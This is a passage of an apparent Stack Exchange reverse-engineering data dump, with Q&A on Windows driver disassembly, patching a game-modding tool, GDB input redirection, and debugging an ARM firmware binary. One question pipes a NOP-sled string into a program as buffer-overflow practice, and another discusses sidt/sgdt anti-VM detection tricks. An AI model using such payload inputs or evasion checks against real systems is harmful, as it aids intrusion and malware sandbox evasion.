   eax, 7&#xA;.text:00010534                 push    edi&#xA;.text:00010535                 push    eax             ; NumberOfBytes&#xA;.text:00010536                 push    ebx             ; PoolType&#xA;.text:00010537                 call    ds:__imp__ExAllocatePool@8 ; ExAllocatePool(x,x)&#xA;.text:0001053D                 mov     [ebp+lpBuf], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that's &lt;strong&gt;identical&lt;/strong&gt;. And there is no indication of anything like in the &lt;code&gt;.sys&lt;/code&gt; for DebugView that would deliberately cause a BSOD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my money is on: this is &lt;em&gt;meant&lt;/em&gt; to cause a BSOD, knowing full well that this situation &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18548/245&quot;&gt;could realistically never occur&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original answer below:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the information I could dig up, I concur. This code would seem to lead to an inevitable BSOD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start by stating that the maximum available number of processors for Windows 2000 Server (Datacenter edition) was 32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the declaration for &lt;code&gt;KeNumberProcessors&lt;/code&gt;, which &lt;em&gt;is&lt;/em&gt; by the way deprecated in favor of &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-kequeryactiveprocessors&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;KeQueryActiveProcessors&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#if (NTDDI_VERSION &amp;gt;= NTDDI_VISTA)&#xA;extern NTSYSAPI volatile CCHAR KeNumberProcessors;&#xA;#elif (NTDDI_VERSION &amp;gt;= NTDDI_WINXP)&#xA;extern NTSYSAPI CCHAR KeNumberProcessors;&#xA;#else&#xA;extern PCCHAR KeNumberProcessors;&#xA;#endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that variable used to be a pointer prior to Windows XP. Looking at the above linked documentation you will find (relevant excerpts):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;KeNumberProcessors&lt;/code&gt; kernel variable &lt;strong&gt;is obsolete in Windows Vista&#xA;  with Service Pack 1 (SP1), Windows Server 2008, and later versions of&#xA;  Windows.&lt;/strong&gt; &lt;code&gt;KeNumberProcessors&lt;/code&gt; does not appear in WDK headers for WDK&#xA;  releases starting with Windows Vista SP1; however, the variable is&#xA;  still exported from the kernel, &lt;strong&gt;so drivers built for earlier platforms&#xA;  will not break&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... and:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Starting with Windows XP, &lt;code&gt;KeNumberProcessors&lt;/code&gt; is an 8-bit integer value&#xA;  that indicates the number of processors in the platform. In earlier&#xA;  versions of Windows, &lt;code&gt;KeNumberProcessors&lt;/code&gt; &lt;strong&gt;is a pointer to an 8-bit&#xA;  integer value that indicates the number of processors in the platform&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, while I certainly may not have &lt;em&gt;all&lt;/em&gt; the answers that the folks from Sysinternals/Microsoft have by glancing at the Windows source code, my guess is the following. This was meant to be a clever trick - relying on circumstantial knowledge - to accommodate &lt;em&gt;both&lt;/em&gt; Windows XP and newer (where the variable is a &lt;code&gt;CCHAR&lt;/code&gt;) &lt;em&gt;as well as&lt;/em&gt; prior Windows versions, where it's a &lt;code&gt;PCCHAR&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Older MSDN documentation is even more verbose:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Change in the Definition of KeNumberProcessors&lt;/strong&gt;&#xA;  The kernel variable &lt;code&gt;KeNumberProcessors&lt;/code&gt; indicates the number of active CPUs in the system&#xA;  on which a driver is running. In the Microsoft Windows XP versions of&#xA;  ntddk.h and wdm.h, the definition of &lt;code&gt;KeNumberProcessors&lt;/code&gt; has been&#xA;  changed from a pointer to a value. The Microsoft® Windows® 2000&#xA;  definition of this variable required that &lt;code&gt;KeNumberProcessors&lt;/code&gt; be&#xA;  dereferenced (for example, &lt;code&gt;*KeNumberProcessors&lt;/code&gt;). As a result of the&#xA;  changed definition of this variable, drivers built in the Windows XP&#xA;  build environment must not dereference this variable (for example,&#xA;  &lt;code&gt;KeNumberProcessors&lt;/code&gt;).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Drivers that fail to use &lt;code&gt;KeNumberProcessors&lt;/code&gt; correctly &lt;strong&gt;will get an&#xA;  &quot;illegal indirection&quot; error at compile time.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that regardless of the declaration used, drivers that properly&#xA;  reference &lt;code&gt;KeNumberProcessors&lt;/code&gt; according to the environment in which&#xA;  they are built will work properly on both Windows 2000 and Windows XP.&#xA;  Thus, for instance, a driver built in the Windows 2000 build&#xA;  environment that dereferences &lt;code&gt;KeNumberProcessors&lt;/code&gt; will get the proper&#xA;  value for this variable when the driver is run on either Windows 2000&#xA;  or Windows XP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Problem seems to be that they seem to have gotten it wrong, if I am not all mistaken. There's, however, also a chance they got it right and I am lacking some vital information they have access to :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test the scenario with MSVC by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD_PTR KeNumberProcessors = 0x80564321;&#xA;DWORD_PTR dsKeNumberProcessors = (DWORD_PTR)&amp;amp;KeNumberProcessors;&#xA;__asm {&#xA;    push eax&#xA;    mov eax, dsKeNumberProcessors&#xA;    mov al, [eax] // only affects AL -&amp;gt; AL := 0x21&#xA;    cmp al, 0x40&#xA;    movsx eax, al // garbles EAX&#xA;    pop eax&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stepping through it gives you a clue as to what's going on. I have to admit the &lt;code&gt;movsx&lt;/code&gt; throws me off here.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Here's how I think it may have been meant to work&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Read the byte at the address specified by &lt;code&gt;KeQueryActiveProcessors&lt;/code&gt;. See if it's a value smaller than 0x40 and if so, stick with the interpretation as byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If bigger than 0x40, which happens whenever the least significant byte of the (Little Endian) &lt;strong&gt;address&lt;/strong&gt; &lt;em&gt;contained in&lt;/em&gt; &lt;code&gt;KeQueryActiveProcessors&lt;/code&gt; (i.e. on Windows prior to XP) is big enough, we &lt;em&gt;may&lt;/em&gt; assume that this is in fact a pointer and dereference it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; re-read it: the least significant byte. So it's not the 0x80 in the base address of the kernel (the kernel is loaded at an address higher than 0x80000000) that matters here. For Windows 2000 I have found the following values for the least significant byte:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x70 (ntkrnlpa.exe, SP4)&lt;/li&gt;&#xA;&lt;li&gt;0xF0 (ntoskrnl.exe, SP4)&lt;/li&gt;&#xA;&lt;li&gt;0xC8 (ntkrnlpa.exe, RTM)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;0x30&lt;/strong&gt; (ntoskrnl.exe, RTM)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I didn't check any other kernel version, though. Problem here is that we already have a value smaller than 0x40 among the lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: having an address beyond 0x40 could reasonably be enforced by having the byte be a member of a struct that is page-aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the part that would &lt;em&gt;in any case&lt;/em&gt; destroy this scenario is the &lt;code&gt;movsx&lt;/code&gt; (sign extend). It overwrites what could have been the address of the &lt;code&gt;CCHAR&lt;/code&gt; unconditionally, thereby creating a bogus address that should for all practical purposes cause a BSOD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the mechanism behind this may have been meant to be something like with the resources IDs which can be 16-bit unsigned integers or pointers to zero-terminated strings with the resource name.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-06-18T11:01:29.470" LastActivityDate="2018-06-18T11:01:29.470" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18550" PostTypeId="1" CreationDate="2018-06-18T20:15:56.093" Score="-3" ViewCount="288" Body="&lt;p&gt;There is this game called Mafia 2 and since its release modders hve been trying to access encrypted files in the game. It was not until the years 2013 and 2014 that a Russian modder that goes by the name of Y.u.s.i.k created programs with the sole purpose of decompiling particular files in the game. One of these programs is the FrameRes_Editor.exe, it gives users the ability to modify certain components of selected vehicles in the game via the alteration of a Frameresource,bin file that is located inside the selected car file.. However, whenever I try to open car files, I receive an error notification that prevents me from saving any work performed. I am always met with an error detection whenever I try to edit a car: &quot; value was either too large or too small &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img.playground.ru/images/5/9/Capture_FrameResource_Error_Possiblly_Faulty_Program.PNG&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://img.playground.ru/images/5/9/Capture_FrameResource_Error_Possiblly_Faulty_Program.PNG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are files that were created by the Mafia 2 developers and this program will even classify the work of these professionals as erroneous, incorrect. Some example of this are the &quot;jefferson_provincial.sds&quot; and &quot;smith_200_pha.sds&quot; file. The program will even detect errors in unmodified content. I did nothing to the &quot;jefferson_provincial.sds&quot;, the program detects an error in nearly ALL of the cars. This is obviously wrong because the modification of most car files date back to 2010.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img.playground.ru/images/1/2/Capture_Mafia_2_Cars_Folder_Unmodified_Content.PNG&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://img.playground.ru/images/1/2/Capture_Mafia_2_Cars_Folder_Unmodified_Content.PNG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not requesting that helpers download the game to assist me, rather I am only asking that you download the program along with the provided .sds file. You will see that you cannot save such file - even after running the program as administrator. This is due to a STUPID error that is unnecessary since I mentioned that a majority of cars, regardless of their modification, are classified as erroneous. I am in need of a capable computer programmer. It would be great if someone could edit the FrameRes_Editor.exe program in a way that could allow users to circumvent this error detection. that way, I could still save files after false errors are detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FrameRes_Editor.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://yadi.sk/d/Zjv_wkgj3XzPDr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://yadi.sk/d/Zjv_wkgj3XzPDr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;smith_200_pha.sds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://yadi.sk/d/d5Wb4CVM3XzPQx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://yadi.sk/d/d5Wb4CVM3XzPQx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24736" LastActivityDate="2018-06-19T00:26:05.833" Title="Please edit this .exe file. I beg you. At least tell me what can be done(No general answers) Specific please" Tags="|tools|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2018-06-19T09:04:12.647" ContentLicense="CC BY-SA 4.0" />
  <row Id="18551" PostTypeId="1" CreationDate="2018-06-18T21:18:05.630" Score="4" ViewCount="1972" Body="&lt;p&gt;So, I was trying to load some binary and in the main function, I saw instructions such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     edi, [esi+1Ch]&#xA;...&#xA;lea eax, [esi+18h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what are these values at [esi+1Ch] and [esi+18h]. How do you look those with IDA Pro. &lt;/p&gt;&#xA;" OwnerUserId="24738" LastActivityDate="2024-02-06T08:22:01.513" Title="How do you look for a a particular value at address in IDA" Tags="|ida|disassembly|assembly|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18552" PostTypeId="1" AcceptedAnswerId="20542" CreationDate="2018-06-18T21:39:13.473" Score="6" ViewCount="16970" Body="&lt;p&gt;Hi I'd like to run a python command &lt;code&gt;python -c 'print &quot;\x90&quot;*52'&lt;/code&gt; when the program start in &lt;code&gt;GDB&lt;/code&gt;, as I would do when I execute : &lt;code&gt;python -c 'print &quot;\x90&quot;*52' | ./myProg&lt;/code&gt; . Does anyone knows any way to acheive this?&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried so far : &#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;`python -c 'print &quot;\x90&quot;*52' ` run&lt;/li&gt;&#xA;&lt;li&gt;run `python -c 'print &quot;\x90&quot;*52' `&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really apologies if I'm not asking on the right StackExchange forum. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;here is a useful link I found talking about input payloads redirection : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&amp;amp;lq=1&quot;&gt;Managing inputs for payload injection?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23314" LastEditorUserId="23314" LastEditDate="2019-10-31T13:31:08.243" LastActivityDate="2019-10-31T13:31:08.243" Title="Run a python command with &quot;run&quot; on GDB" Tags="|gdb|python|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18553" PostTypeId="2" ParentId="18552" CreationDate="2018-06-18T22:42:17.183" Score="7" Body="&lt;p&gt;I don't know of any way to run a script as a &lt;code&gt;run&lt;/code&gt; argument.&lt;br&gt;&#xA;A common solution is to redirect your input from a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You first need to run the script and save the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python -c &quot;print 'A'*50&quot; &amp;gt; my_file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and redirect it to gdb &lt;code&gt;run&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r &amp;lt; my_file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, from the &lt;code&gt;help run&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Input and output redirection with &quot;&gt;&quot;, &quot;&amp;lt;&quot;, or &quot;&gt;&gt;&quot; are also allowed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which means you can also redirect output if needed.&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastActivityDate="2018-06-18T22:42:17.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18554" PostTypeId="2" ParentId="18550" CreationDate="2018-06-18T23:41:25.567" Score="3" Body="&lt;p&gt;So, i tracked your bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple explanation:&lt;br&gt;&#xA;some values in the file are too large/small for the program to handle,&lt;br&gt;&#xA; you'll need to re-write them. basiclly, everything past 3E+38 will prevent the program from working. I lack knowlage in C# and never tried patching C# programs so that's all i can offer. Also note that some values might affect in-game stuff, I do not know how different the result might be - i can only hope that it'll be unnoticable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, a bit info on the problem:&lt;br&gt;&#xA;The program was written in C# so i could get the source code. i used &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;.&lt;br&gt;&#xA;The error was inside a function named &quot;Bound_Write&quot;, it tries to convert a &lt;code&gt;String&lt;/code&gt; to &lt;code&gt;float&lt;/code&gt; using &lt;code&gt;Convert.toSingle()&lt;/code&gt;.&lt;br&gt;&#xA;A value in the &lt;code&gt;Blend&lt;/code&gt; section in the file was &quot;a bit&quot; over 3.4E+38 and it threw an exception. That exception triggered the alert and stopped the saving process.&lt;br&gt;&#xA;The &lt;code&gt;Single.MaxValue&lt;/code&gt; is around 3.4E+38, so I just rounded the number to 3E+38.&lt;br&gt;&#xA;You can find the modified &quot;smith_200_pha.sds&quot; here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://files.fm/u/cm4wk8yk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;i ended up patching the executable, turns out it wasn't that difficult. &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; has a built-in option for that.&lt;br&gt;&#xA;note, it only takes care of cases where the input is in the form of &lt;code&gt;3...E+38&lt;/code&gt;, positive and negative. it means that if you have &lt;code&gt;4.1E39&lt;/code&gt; for example, this patch will NOT work. i am not fully aware of C# limitations and what numbers the game allows his fields to have. this patch is solely for convenience and doesn't make this progrem flawless.&#xA;the patched executable can be found here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.filedropper.com/framereseditor1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user22970" LastEditorDisplayName="user22970" LastEditDate="2018-06-19T00:26:05.833" LastActivityDate="2018-06-19T00:26:05.833" CommentCount="26" ContentLicense="CC BY-SA 4.0" />
  <row Id="18555" PostTypeId="1" CreationDate="2018-06-19T02:33:28.917" Score="1" ViewCount="843" Body="&lt;p&gt;They are all privileged(??) x86 instructions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sidt&lt;/code&gt; : Stores the Interrupt Descriptor Table Register (IDTR) content. (Red pill)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sldt&lt;/code&gt; : Stores the segment selector from the Local Descriptor Table Register &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sgdt&lt;/code&gt; : Stores the Global Descriptor Table Register (GDTR) content.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;str&lt;/code&gt; : Stores the segment selector from the Task Register (TR).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Their values are supposed to be different on VM compared to host.&#xA;I've already run my tests and these techniques do not seem to work on a VMware Workstation 12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I'm asking is if someone else has encountered the same behavior.&lt;/p&gt;&#xA;" OwnerUserId="24740" LastEditorUserId="245" LastEditDate="2018-06-24T19:57:31.510" LastActivityDate="2018-08-27T21:11:02.160" Title="sidt, sldt, sgdt, str anti-vm techniques does not work anymore on VMWare 12?" Tags="|x86|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18556" PostTypeId="1" AcceptedAnswerId="18564" CreationDate="2018-06-19T02:54:13.623" Score="11" ViewCount="12149" Body="&lt;h1&gt;Issue&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm hoping someone can help me determine why this binary won't execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a closed-source, stripped ARM binary. That said, it is freely downloadable on the internet so there is a link to it at the bottom of this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target is an ARM binary pulled from a firmware image. I have set up an ARM VM, but have also tried running the binary on a Pi with the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'm seeing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-armel:/tmp/squashfs-root/usr/bin# ./my_arm_bin &#xA;Illegal instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &quot;Illegal instruction&quot; error is not super helpful... so I dug in a little deeper.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;My VM&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I don't think the problem is my VM. It is a pretty standard ARM VM setup. From: &lt;a href=&quot;https://people.debian.org/~aurel32/qemu/armel/&quot; rel=&quot;noreferrer&quot;&gt;https://people.debian.org/~aurel32/qemu/armel/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;debian_squeeze_armel_standard.qcow2&lt;/code&gt;, &lt;code&gt;initrd.img-2.6.32-5-versatile&lt;/code&gt;, and &lt;code&gt;vmlinuz-2.6.32-5-versatile&lt;/code&gt;. It is launched with QEMU with a few ports forwarded (ssh,http,31337 for gdb stuff). I am able to execute other ARM binaries on the system without issue, including other binaries pulled from the same firmware image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as mentioned before I've tried dropping the binary onto a Pi with no luck. I tried both as root on the pi, as well as in a chroot'ed environment with the rootfs of the extracted firmware image, same result: &lt;code&gt;Illegal Instruction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;r2 Info&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rabin2 -I my_arm_bin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Cannot initialize dynamic strings&#xA;arch     arm&#xA;binsz    44831825&#xA;bintype  elf&#xA;bits     32&#xA;canary   false&#xA;class    ELF32&#xA;crypto   false&#xA;endian   little&#xA;havecode true&#xA;lang     c&#xA;linenum  false&#xA;lsyms    false&#xA;machine  ARM&#xA;maxopsz  16&#xA;minopsz  1&#xA;nx       false&#xA;os       linux&#xA;pcalign  0&#xA;pic      false&#xA;relocs   false&#xA;rpath    NONE&#xA;static   true&#xA;stripped true&#xA;subsys   linux&#xA;va       true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Additional Debugging (gdb w/ gef on Pi)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So, time to attach a debugger and see exactly what instruction is actually throwing that error. This was done on a Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After starting up and breaking on entry, using &lt;code&gt;ni&lt;/code&gt; to single step, I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gef&amp;gt; x/20i $pc&#xA;=&amp;gt; 0x796a0: mov r11, #0&#xA;   0x796a4: mov lr, #0&#xA;   0x796a8: pop {r1}        ; (ldr r1, [sp], #4)&#xA;   0x796ac: mov r2, sp&#xA;   0x796b0: push    {r2}        ; (str r2, [sp, #-4]!)&#xA;   0x796b4: push    {r0}        ; (str r0, [sp, #-4]!)&#xA;   0x796b8: ldr r12, [pc, #16]  ; 0x796d0&#xA;   0x796bc: push    {r12}       ; (str r12, [sp, #-4]!)&#xA;   0x796c0: ldr r0, [pc, #12]   ; 0x796d4&#xA;   0x796c4: ldr r3, [pc, #12]   ; 0x796d8&#xA;   0x796c8: bl  0x4021a0&#xA;   0x796cc: bl  0x401fa0&#xA;   0x796d0: andeq   r2, r12, #200, 2    ; 0x32&#xA;   0x796d4: andeq   r10, r1, r12, lsl #11&#xA;   0x796d8: andeq   r2, r12, #40, 2&#xA;   0x796dc: ldr r3, [pc, #20]   ; 0x796f8&#xA;   0x796e0: ldr r2, [pc, #20]   ; 0x796fc&#xA;   0x796e4: add r3, pc, r3&#xA;   0x796e8: ldr r2, [r3, r2]&#xA;   0x796ec: cmp r2, #0&#xA;gef&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all looks like valid ARM instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it's relevant - All ldr instructions (0x796b8, 0x796c0, 0x796c4) in gdb are giving this message when executed: &lt;code&gt;Cannot access memory at address 0x0&lt;/code&gt;. Some mov instructions throw this too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;0x796c8: bl  0x4021a0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;   0x796c8                  bl     0x4021a0&#xA;   \-&amp;gt;    0x4021a0                  ldr    pc,  [pc,  #-4]  ; 0x4021a4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And eventually we get here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gef&amp;gt; x/20i $pc&#xA;=&amp;gt; 0x20c1b30:   push    {r4, r5, r6, r7, lr}&#xA;   0x20c1b34:   sub sp, sp, #300    ; 0x12c&#xA;   0x20c1b38:   movw    r12, #0                 &#xA;   0x20c1b3c:   mov r5, r3                          --&amp;gt; Here is our illegal instruction&#xA;   0x20c1b40:   movt    r12, #0&#xA;   0x20c1b44:   str r1, [sp, #4]&#xA;   0x20c1b48:   movw    r1, #65336  ; 0xff38&#xA;   0x20c1b4c:   cmp r12, #0&#xA;   0x20c1b50:   ldr r3, [sp, #4]&#xA;   0x20c1b54:   str r2, [sp, #8]&#xA;   0x20c1b58:   ldrne   r12, [r12]&#xA;   0x20c1b5c:   add r2, r3, #1&#xA;   0x20c1b60:   str r0, [sp, #12]&#xA;   0x20c1b64:   movw    r3, #56376  ; 0xdc38&#xA;   0x20c1b68:   ldr r7, [sp, #8]&#xA;   0x20c1b6c:   movw    r0, #3092   ; 0xc14&#xA;   0x20c1b70:   ldr lr, [sp, #328]  ; 0x148&#xA;   0x20c1b74:   clzne   r12, r12&#xA;   0x20c1b78:   movt    r0, #685    ; 0x2ad&#xA;   0x20c1b7c:   movt    r1, #827    ; 0x33b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course a copy of the binary can be found here: &lt;a href=&quot;https://mega.nz/#!CKxBQKaI!T__d9pjpOn_rPtfvPNkkPsFWHTjg7u-vDt5AK6610ug&quot; rel=&quot;noreferrer&quot;&gt;https://mega.nz/#!CKxBQKaI!T__d9pjpOn_rPtfvPNkkPsFWHTjg7u-vDt5AK6610ug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So are the registers just not initialized to the right values? How can that be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To paraphrase from Archer: What am I not getting?... I think the core concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am probably missing a critical idea here. I'm hoping someone can help fill in the blank(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At @0xC0000022L suggestion I looked into making sure the ARM revision of my VM/Pi matches that of the binary. As far as I can tell they do. Just comparing a binary from the VM to my my ARM binary I'm trying to get running their ABIs match (32-bit ARMv5):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file my_arm_bin &#xA;my_arm_bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, stripped&#xA; $ file /usr/bin/id&#xA;/usr/bin/id: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At @perror suggestion I tried forcing the binary to execute in thumb mode. For context here is the disassembly when running in &quot;arm&quot; (non-thumb) mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gef&amp;gt; x/10i $pc&#xA;=&amp;gt; 0x20c1b38:   movw    r12, #0&#xA;   0x20c1b3c:   mov r5, r3&#xA;   0x20c1b40:   movt    r12, #0&#xA;   0x20c1b44:   str r1, [sp, #4]&#xA;   0x20c1b48:   movw    r1, #65336  ; 0xff38&#xA;   0x20c1b4c:   cmp r12, #0&#xA;   0x20c1b50:   ldr r3, [sp, #4]&#xA;   0x20c1b54:   str r2, [sp, #8]&#xA;   0x20c1b58:   ldrne   r12, [r12]&#xA;   0x20c1b5c:   add r2, r3, #1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Forcing thumb mode, I now see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gef&amp;gt; set arm force-mode thumb&#xA;gef&amp;gt; x/10i $pc&#xA;=&amp;gt; 0x20c1b38:   stmia   r0!, {}&#xA;   0x20c1b3a:   b.n 0x20c213e&#xA;   0x20c1b3c:   str r3, [r0, r0]&#xA;   0x20c1b3e:   b.n 0x20c1e82&#xA;   0x20c1b40:   stmia   r0!, {}&#xA;   0x20c1b42:   b.n 0x20c21c6&#xA;   0x20c1b44:   asrs    r4, r0, #32&#xA;   0x20c1b46:   b.n 0x20c1664&#xA;   0x20c1b48:   subs    r0, r7, #4&#xA;   0x20c1b4a:  